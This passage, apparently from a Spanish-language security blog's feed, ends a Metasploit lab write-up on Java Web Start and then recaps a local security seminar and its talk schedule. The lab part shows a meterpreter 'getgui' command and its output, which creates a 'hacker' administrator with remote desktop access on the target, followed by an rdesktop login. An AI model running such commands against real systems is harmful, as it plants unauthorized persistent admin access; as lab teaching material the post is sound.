/&gt;&lt;pre name="code" class="ruby"&gt;&lt;br /&gt;case lang&lt;br /&gt;when "en_EN"&lt;br /&gt;rdu = "Remote Desktop Users"&lt;br /&gt;admin = "Administrators"&lt;br /&gt;when "de_DE"&lt;br /&gt;rdu = "Remotedesktopbenutzer"&lt;br /&gt;admin = "Administratoren"&lt;br /&gt;when "es_ES"&lt;br /&gt;         rdu = "Usuarios de escritorio remoto"&lt;br /&gt;         admin = "Administradores"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Una vez que hayamos cambiado, ahora nos vamos al nuestra sessions del meterpreter y ejecutamos.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 800px; height: 100px; text-align: left;"&gt;&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;span style="font-weight: bold;"&gt;run getgui -u hacker -p 123456 -l es_ES&lt;/span&gt;&lt;br /&gt;[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator&lt;br /&gt;[*] Carlos Perez carlos_perez@darkoperator.com&lt;br /&gt;[*] Language set by user to: 'es_ES'&lt;br /&gt;[*] Enabling Remote Desktop&lt;br /&gt;[*]     RDP is already enabled&lt;br /&gt;[*] Setting Terminal Services service startup mode&lt;br /&gt;[*]     Terminal Services service is already set to auto&lt;br /&gt;[*]     Opening port in local firewall if necessary&lt;br /&gt;[*] Setting user account for logon&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[*]&lt;/span&gt;     &lt;span style="color: rgb(255, 0, 0);"&gt;Adding User: hacker with Password: 123456&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[*]     Adding User: hacker to local group 'Usuarios de escritorio remoto'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[*]     Adding User: hacker to local group 'Administradores'&lt;/span&gt;&lt;br /&gt;[*] You can now login with the created user&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Lo que hace esto es crear un usuario &lt;span style="font-weight: bold;"&gt;hacker&lt;/span&gt; con password &lt;span style="font-weight: bold;"&gt;123456&lt;/span&gt; al grupo "Administradores" y que pueda accederse atravez de escritorio remoto dicho usuario "Usuarios de Escritorios remoto".&lt;br /&gt;Ahora para ver si todo funciona, vamos a una shell y con el programa &lt;span style="font-weight: bold;"&gt;rdesktop&lt;/span&gt; nos conectamos. ( Si no lo tenes y estas en debian o distros similares aptitude install rdesktop ).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;$rdesktop 192.168.56.101&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-8KKHYQuJI/AAAAAAAAAOk/uDPFVqSl82c/s1600/java_ws5.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-8KKHYQuJI/AAAAAAAAAOk/uDPFVqSl82c/s320/java_ws5.jpeg" alt="" id="BLOGGER_PHOTO_ID_5471603241174218898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-8KW4XFiSI/AAAAAAAAAOs/AOV7n_YSS5E/s1600/java_ws6.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-8KW4XFiSI/AAAAAAAAAOs/AOV7n_YSS5E/s320/java_ws6.jpeg" alt="" id="BLOGGER_PHOTO_ID_5471603460481059106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Eso es todo, Saludos&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;REFERENCIAS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html"&gt;http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://seclists.org/fulldisclosure/2010/Apr/119"&gt;http://seclists.org/fulldisclosure/2010/Apr/119&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.pentester.es/2010/05/explotando-java-web-start.html"&gt;http://www.pentester.es/2010/05/explotando-java-web-start.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.pentester.es/2010/05/explotando-java-web-start.html"&gt;http://www.pentester.es/2010/05/vulnerabilidad-en-java-web-start.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://threatpost.com/es_la/blogs/nueva-falla-en-java-afecta-todas-la-versiones-de-windows-040910"&gt;http://threatpost.com/es_la/blogs/nueva-falla-en-java-afecta-todas-la-versiones-de-windows-040910&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-6403296182319760339?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/6403296182319760339/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/05/laboratorio-metasploit-java-web-start.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/6403296182319760339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/6403296182319760339'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/05/laboratorio-metasploit-java-web-start.html' title='Laboratorio Metasploit java Web Start + Escritorio Remoto Getgui'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DI2yEVgm8Qk/S-7-ynaIiwI/AAAAAAAAANs/NqVHvjrVtWE/s72-c/java_ws3.jpeg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-3951285817919601578</id><published>2010-05-12T08:41:00.001-07:00</published><updated>2010-05-12T10:01:12.464-07:00</updated><title type='text'>Sintesis Primer Seminario de Seguridad en Formoss</title><content type='html'>Bien el sabado 8 del corrientes mes, Del Prado me busca a las 5 de la mañana para partir, con Sergio Lobera y Gerardo Faifer. Primer parada a Rcia. a buscarlo a Cacivio a su casa y a Marina, hicimos unos mates descargamos al auto 2 de las nuevas DELL que compro Cacivio para INSTEL, y emprendimos a Formosa. Llegamos para las 8 de la mañana con ayuda de GPS de Prado.&lt;br /&gt;Bueno el cronograma se fue dando diferente quedando de esta manera.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"   lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;Peligro en Internet - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;Metasploi&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;Framework&lt;/span&gt; y el uso de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;Backdoor&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;" class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;(Expositor: Juan Francisco &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;Bosco&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span style=";font-family:&amp;quot;;font-size:7pt;"  &gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;Phishing&lt;/span&gt; - Robo y utilización de información&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;(Expositor: Sergio Lobera)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="text-align: center; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;font-size:130%;"   lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;12:00&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;hs&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;. &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;INTERMEDIO - Con asado en una parillada ;)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: center; color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;span style=";font-family:&amp;quot;;font-size:130%;"   lang="ES-AR"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: center; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;font-size:130%;"   lang="ES-AR"&gt;&lt;o:p&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;ol style="color: rgb(0, 0, 0);"&gt;&lt;li&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"   lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;Robo de Identidad y Seguridad de los Datos&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="font-weight: bold;font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;(Expositor: Pedro &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;Matías&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;Cacivio&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;Analisis Forense&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt; (Expositor: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;Sebastián&lt;/span&gt; del Prado)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;El Uso de PHP por los Hackers&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;(Expositor: Alejandro Zapiola)&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Por recalcar la organizacion estubo muy buena, los chicos de MicroNET estuvieron muy eficiente en ese aspecto, desde cafe, chipacitos, un salon muy amplio, acreditaciones ETC. Esperamos volver con INSTEL mas adelante y realizar otro seminario.&lt;br /&gt;Aca van algunas fotos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 153);"&gt;En mi Exposicion&lt;/span&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-rcxtkHQBI/AAAAAAAAANE/xtFxubFoPzU/s1600/29807_121311291220160_110124025672220_218560_4797933_n.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-rcxtkHQBI/AAAAAAAAANE/xtFxubFoPzU/s320/29807_121311291220160_110124025672220_218560_4797933_n.jpg" alt="" id="BLOGGER_PHOTO_ID_5470427443997655058" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S-rcqPaAHkI/AAAAAAAAAM8/w9bJ2yWj4kE/s1600/29807_121311274553495_110124025672220_218558_4491889_n.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S-rcqPaAHkI/AAAAAAAAAM8/w9bJ2yWj4kE/s320/29807_121311274553495_110124025672220_218558_4491889_n.jpg" alt="" id="BLOGGER_PHOTO_ID_5470427315643096642" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S-rc4c0fq7I/AAAAAAAAANM/4fZ_khIHees/s1600/29807_121321874552435_110124025672220_218623_5718954_n.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S-rc4c0fq7I/AAAAAAAAANM/4fZ_khIHees/s320/29807_121321874552435_110124025672220_218623_5718954_n.jpg" alt="" id="BLOGGER_PHOTO_ID_5470427559762045874" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;span style="font-weight: bold;"&gt;Los Chicos de MicroNET&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-rdDwym7qI/AAAAAAAAANU/CgSgdTVPBWI/s1600/30207_121518297866126_110124025672220_219116_3044228_n.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-rdDwym7qI/AAAAAAAAANU/CgSgdTVPBWI/s320/30207_121518297866126_110124025672220_219116_3044228_n.jpg" alt="" id="BLOGGER_PHOTO_ID_5470427754101403298" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S-rdkir0aZI/AAAAAAAAANc/1rAtwT8LLQ0/s1600/30207_121516604532962_110124025672220_219099_7720849_n.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S-rdkir0aZI/AAAAAAAAANc/1rAtwT8LLQ0/s320/30207_121516604532962_110124025672220_219099_7720849_n.jpg" alt="" id="BLOGGER_PHOTO_ID_5470428317250513298" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-rdvpYjU0I/AAAAAAAAANk/QKoGhqpz22U/s1600/30207_121516584532964_110124025672220_219095_1937284_n.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-rdvpYjU0I/AAAAAAAAANk/QKoGhqpz22U/s320/30207_121516584532964_110124025672220_219095_1937284_n.jpg" alt="" id="BLOGGER_PHOTO_ID_5470428508027310914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://picasaweb.google.com/facundovillagrafsa/1erSeminarioDeSeguridadDeLaInformacion02#5469872040947405442"&gt;ACA HAY MAS FOTOS DEL EVENTO QUE YA ESTAN SUBIDAS ;)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SALUDOS&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-3951285817919601578?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/3951285817919601578/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/05/sintesis-primer-seminario-de-seguridad.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3951285817919601578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3951285817919601578'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/05/sintesis-primer-seminario-de-seguridad.html' title='Sintesis Primer Seminario de Seguridad en Formoss'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S-rcxtkHQBI/AAAAAAAAANE/xtFxubFoPzU/s72-c/29807_121311291220160_110124025672220_218560_4797933_n.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-3486712818383958443</id><published>2010-05-04T21:15:00.000-07:00</published><updated>2010-05-04T21:39:28.228-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='Eventos'/><title type='text'>1er Seminario de Seguridad Informatica - Formosa 2010</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S-DzhiBqd9I/AAAAAAAAAMw/6iePVe9qqzw/s1600/formosa.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 99px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S-DzhiBqd9I/AAAAAAAAAMw/6iePVe9qqzw/s320/formosa.jpg" alt="" id="BLOGGER_PHOTO_ID_5467637705022797778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Este &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;sábado&lt;/span&gt; 8 de mayo viajamos a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Formosa&lt;/span&gt; con el grupo de &lt;a href="http://www.blogger.com/www.instelseguridad.com.ar/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Instel&lt;/span&gt;&lt;/a&gt; a realizar un seminario de Seguridad como el titulo lo dice. Nos vamos muy entusismados ya que nos encanta realizar estos eventos, y de paso conocer ciudades de la Argentina que es Hermosa y no tiene a ningun pais que envidiar.&lt;br /&gt;Como siempre en estos eventos se conoce gente nueva, si tenes suerte un buen amigo y se aprende una cantidad. Sin mas nada que decir les dejo mas abajo los temas que se daran y los que esten cerca puedan ir, va a estar bueno, hay mucho contenido relacionado entre las charlas.&lt;br /&gt;Gente nos vemos por &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Formosa&lt;/span&gt; Capital, el &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;salón&lt;/span&gt; donde se realiza el evento es en "&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_7"&gt;Salón&lt;/span&gt; de Actos Vialidad Provincial".  Mas &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_8"&gt;información&lt;/span&gt; &lt;a href="http://seminarioseguridadinformatica.blogspot.com/"&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_9"&gt;AQUÍ&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span"&gt;8:00&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;hs&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;.   &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;ACREDITACIONES&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"   lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"  style="font-family:Calibri,sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;8:30&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;hs&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;Robo de Identidad y Seguridad de los Datos&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;(Expositor: Pedro &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;Matías&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;Cacivio&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;Hoy en día sin darnos cuenta dejamos mucha información en Internet “contraseñas, teléfonos, e-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;mail&lt;/span&gt;, direcciones, fotos, etcétera, en distintas bases de datos, siempre pensando que se mantendrá nuestra &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;privacidad&lt;/span&gt;. ¿Qué pasa cuando un atacante experimentado accede a toda nuestra información?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;En esta charla se verá como se puede violar &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;completamente&lt;/span&gt; la seguridad de estas bases haciéndonos con toda la información. La cual puede ser utilizada en nuestra contra, estando el atacante &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;completamente&lt;/span&gt; invisible en la red, &lt;span class="blsp-spelling-error" 